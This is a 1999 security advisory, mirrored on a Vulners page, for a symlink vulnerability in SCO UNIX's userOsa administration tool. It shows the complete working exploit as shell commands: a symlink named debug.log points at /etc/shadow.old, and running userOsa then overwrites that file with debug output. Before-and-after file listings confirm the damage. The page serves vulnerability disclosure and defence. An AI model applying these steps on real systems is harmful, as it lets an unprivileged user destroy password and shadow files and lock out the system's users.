Lucene search
K

SCOUNIX_shadow_exploit.txt

🗓️ 15 Oct 1999 00:00:00Reported by Brock TellierType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

User can overwrite critical files using userOsa with group authentication, creating vulnerabilities.

Code
`Greetings,  
  
Any user may overwrite any file with group auth (i.e. /etc/shadow,  
/etc/passwd) using /etc/sysadm.d/bin/userOsa. Note that this will not  
change the permissions of the file or allow for the user to input a  
passwd entry string into these files, it will simply clobber the contents  
of the file with debug output.  
  
When userOsa recieves invalid input, it generates a log file called  
"debug.log" in the PWD. This file is created with group auth  
permissions,does not check for this file's existence, and will follow  
symlinks. Thus the exploit is as follows:  
  
  
scohack:/tmp$ ln -s /etc/shadow.old debug.log  
scohack:/tmp$ /etc/sysadm.d/bin/userOsa  
bah  
connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ {Invalid Connect  
Request: bah}}}  
Failed to listen to client  
Failure in making connection to OSA.  
scohack:/tmp$  
  
-----  
  
BEFORE EXPLOIT:  
scohack:/# l /etc/shadow.old  
-rw-rw---- 1 root auth 26 Oct 11 20:08 /etc/shadow.old  
  
AFTER EXPLOIT (note the file size):  
scohack:/# l /etc/shadow.old  
-rw-rw---- 1 root auth 177 Oct 11 20:10 /etc/shadow.old  
  
scohack:/# cat /etc/shadow.old  
>>> Debug log opened at Mon Oct 11 03:10:04 PM CDT 1999 by <PID=11604>  
<<<  
SendConnectFail(connectFail {{SCO_LOCAL_PIPE_ERR_INVALID_CONNECT_REQ  
{Invalid Connect Request: bah}}})  
  
scohack:/#  
  
Brock Tellier  
UNIX Systems Administrator  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Oct 1999 00:00Current
7.4High risk
Vulners AI Score7.4
25